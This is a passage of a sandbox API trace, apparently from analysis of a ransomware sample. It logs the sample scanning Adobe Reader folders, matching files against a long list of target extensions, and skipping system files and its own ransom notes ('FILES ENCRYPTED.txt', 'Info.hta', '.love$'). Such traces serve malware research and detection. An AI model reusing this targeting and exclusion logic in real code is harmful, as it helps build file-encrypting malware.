nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.922] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0271.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.922] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0271.922] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.922] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb") returned 119 [0271.922] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0271.923] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.923] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.923] lstrlenW (lpString="ui-strings.js") returned 13 [0271.923] lstrlenW (lpString=".1cd") returned 4 [0271.923] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.923] lstrlenW (lpString=".3ds") returned 4 [0271.923] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.923] lstrlenW (lpString=".3fr") returned 4 [0271.923] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.923] lstrlenW (lpString=".3g2") returned 4 [0271.923] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.923] lstrlenW (lpString=".3gp") returned 4 [0271.923] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.923] lstrlenW (lpString=".7z") returned 3 [0271.923] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.924] lstrlenW (lpString=".accda") returned 6 [0271.924] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".accdb") returned 6 [0271.924] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".accdc") returned 6 [0271.924] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".accde") returned 6 [0271.924] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".accdt") returned 6 [0271.924] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".accdw") returned 6 [0271.924] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.924] lstrlenW (lpString=".adb") returned 4 [0271.924] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".adp") returned 4 [0271.924] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".ai") returned 3 [0271.924] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.924] lstrlenW (lpString=".ai3") returned 4 [0271.924] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".ai4") returned 4 [0271.924] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".ai5") returned 4 [0271.924] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".ai6") returned 4 [0271.924] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.924] lstrlenW (lpString=".ai7") returned 4 [0271.925] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".ai8") returned 4 [0271.925] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".anim") returned 5 [0271.925] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.925] lstrlenW (lpString=".arw") returned 4 [0271.925] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".as") returned 3 [0271.925] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.925] lstrlenW (lpString=".asa") returned 4 [0271.925] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".asc") returned 4 [0271.925] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".ascx") returned 5 [0271.925] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.925] lstrlenW (lpString=".asm") returned 4 [0271.925] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".asmx") returned 5 [0271.925] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.925] lstrlenW (lpString=".asp") returned 4 [0271.925] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.925] lstrlenW (lpString=".aspx") returned 5 [0271.926] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.926] lstrlenW (lpString=".asr") returned 4 [0271.926] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".asx") returned 4 [0271.926] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".avi") returned 4 [0271.926] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".avs") returned 4 [0271.926] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".backup") returned 7 [0271.926] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.926] lstrlenW (lpString=".bak") returned 4 [0271.926] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".bay") returned 4 [0271.926] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".bd") returned 3 [0271.926] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.926] lstrlenW (lpString=".bin") returned 4 [0271.926] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".bmp") returned 4 [0271.926] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".bz2") returned 4 [0271.926] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.926] lstrlenW (lpString=".c") returned 2 [0271.926] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.926] lstrlenW (lpString=".cdr") returned 4 [0271.926] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cer") returned 4 [0271.927] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cf") returned 3 [0271.927] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.927] lstrlenW (lpString=".cfc") returned 4 [0271.927] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cfm") returned 4 [0271.927] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cfml") returned 5 [0271.927] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.927] lstrlenW (lpString=".cfu") returned 4 [0271.927] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".chm") returned 4 [0271.927] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cin") returned 4 [0271.927] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".class") returned 6 [0271.927] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.927] lstrlenW (lpString=".clx") returned 4 [0271.927] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".config") returned 7 [0271.927] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.927] lstrlenW (lpString=".cpp") returned 4 [0271.927] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.927] lstrlenW (lpString=".cr2") returned 4 [0271.928] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".crt") returned 4 [0271.928] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".crw") returned 4 [0271.928] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".cs") returned 3 [0271.928] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.928] lstrlenW (lpString=".css") returned 4 [0271.928] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".csv") returned 4 [0271.928] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".cub") returned 4 [0271.928] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dae") returned 4 [0271.928] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dat") returned 4 [0271.928] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".db") returned 3 [0271.928] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.928] lstrlenW (lpString=".dbf") returned 4 [0271.928] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dbx") returned 4 [0271.928] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dc3") returned 4 [0271.928] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dcm") returned 4 [0271.928] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.928] lstrlenW (lpString=".dcr") returned 4 [0271.929] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".der") returned 4 [0271.929] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".dib") returned 4 [0271.929] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".dic") returned 4 [0271.929] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".dif") returned 4 [0271.929] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".divx") returned 5 [0271.929] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.929] lstrlenW (lpString=".djvu") returned 5 [0271.929] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.929] lstrlenW (lpString=".dng") returned 4 [0271.929] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".doc") returned 4 [0271.929] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".docm") returned 5 [0271.929] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.929] lstrlenW (lpString=".docx") returned 5 [0271.929] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.929] lstrlenW (lpString=".dot") returned 4 [0271.929] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.929] lstrlenW (lpString=".dotm") returned 5 [0271.929] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.929] lstrlenW (lpString=".dotx") returned 5 [0271.930] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.930] lstrlenW (lpString=".dpx") returned 4 [0271.930] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.930] lstrlenW (lpString=".dqy") returned 4 [0271.930] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.930] lstrlenW (lpString=".dsn") returned 4 [0271.930] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.930] lstrlenW (lpString=".dt") returned 3 [0271.930] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.930] lstrlenW (lpString=".dtd") returned 4 [0271.930] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.930] lstrlenW (lpString=".dwg") returned 4 [0272.037] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.037] lstrlenW (lpString=".dwt") returned 4 [0272.037] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.037] lstrlenW (lpString=".dx") returned 3 [0272.037] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.037] lstrlenW (lpString=".dxf") returned 4 [0272.037] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.037] lstrlenW (lpString=".edml") returned 5 [0272.037] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.037] lstrlenW (lpString=".efd") returned 4 [0272.037] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.037] lstrlenW (lpString=".elf") returned 4 [0272.037] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.037] lstrlenW (lpString=".emf") returned 4 [0272.038] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".emz") returned 4 [0272.038] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".epf") returned 4 [0272.038] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".eps") returned 4 [0272.038] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".epsf") returned 5 [0272.038] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.038] lstrlenW (lpString=".epsp") returned 5 [0272.038] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.038] lstrlenW (lpString=".erf") returned 4 [0272.038] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".exr") returned 4 [0272.038] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".f4v") returned 4 [0272.038] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".fido") returned 5 [0272.038] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.038] lstrlenW (lpString=".flm") returned 4 [0272.038] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.038] lstrlenW (lpString=".flv") returned 4 [0272.039] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".frm") returned 4 [0272.039] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".fxg") returned 4 [0272.039] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".geo") returned 4 [0272.039] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".gif") returned 4 [0272.039] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".grs") returned 4 [0272.039] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".gz") returned 3 [0272.039] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.039] lstrlenW (lpString=".h") returned 2 [0272.039] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.039] lstrlenW (lpString=".hdr") returned 4 [0272.039] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".hpp") returned 4 [0272.039] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".hta") returned 4 [0272.039] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".htc") returned 4 [0272.039] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".htm") returned 4 [0272.039] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.039] lstrlenW (lpString=".html") returned 5 [0272.040] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.040] lstrlenW (lpString=".icb") returned 4 [0272.040] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".ics") returned 4 [0272.040] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".iff") returned 4 [0272.040] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".inc") returned 4 [0272.040] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".indd") returned 5 [0272.040] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.040] lstrlenW (lpString=".ini") returned 4 [0272.040] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".iqy") returned 4 [0272.040] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".j2c") returned 4 [0272.040] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".j2k") returned 4 [0272.040] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.040] lstrlenW (lpString=".java") returned 5 [0272.040] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.040] lstrlenW (lpString=".jp2") returned 4 [0272.040] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".jpc") returned 4 [0272.041] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".jpe") returned 4 [0272.041] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".jpeg") returned 5 [0272.041] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.041] lstrlenW (lpString=".jpf") returned 4 [0272.041] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".jpg") returned 4 [0272.041] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".jpx") returned 4 [0272.041] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.041] lstrlenW (lpString=".js") returned 3 [0272.041] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.041] lstrlenW (lpString="ui-strings.js") returned 13 [0272.041] lstrlenW (lpString=".love$") returned 6 [0272.041] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.041] lstrlenW (lpString="ui-strings.js") returned 13 [0272.041] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.041] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.041] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\ui-strings.js") returned 133 [0272.042] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.042] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0272.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.042] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0272.042] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 119 [0272.042] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 1 [0272.042] lstrlenW (lpString="en-il") returned 5 [0272.042] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-il") returned -1 [0272.042] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.042] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il") returned 119 [0272.042] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-il\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0272.043] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.043] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.043] lstrlenW (lpString="ui-strings.js") returned 13 [0272.043] lstrlenW (lpString=".1cd") returned 4 [0272.043] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.043] lstrlenW (lpString=".3ds") returned 4 [0272.043] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.043] lstrlenW (lpString=".3fr") returned 4 [0272.043] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.043] lstrlenW (lpString=".3g2") returned 4 [0272.043] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.043] lstrlenW (lpString=".3gp") returned 4 [0272.043] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.043] lstrlenW (lpString=".7z") returned 3 [0272.043] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.043] lstrlenW (lpString=".accda") returned 6 [0272.043] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.043] lstrlenW (lpString=".accdb") returned 6 [0272.043] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.044] lstrlenW (lpString=".accdc") returned 6 [0272.044] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.044] lstrlenW (lpString=".accde") returned 6 [0272.044] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.044] lstrlenW (lpString=".accdt") returned 6 [0272.044] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.044] lstrlenW (lpString=".accdw") returned 6 [0272.044] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.044] lstrlenW (lpString=".adb") returned 4 [0272.044] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".adp") returned 4 [0272.044] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai") returned 3 [0272.044] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.044] lstrlenW (lpString=".ai3") returned 4 [0272.044] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai4") returned 4 [0272.044] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai5") returned 4 [0272.044] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai6") returned 4 [0272.044] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai7") returned 4 [0272.044] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.044] lstrlenW (lpString=".ai8") returned 4 [0272.044] lstrcmpiW (lpString1=".ai8", lpString2="s.js") 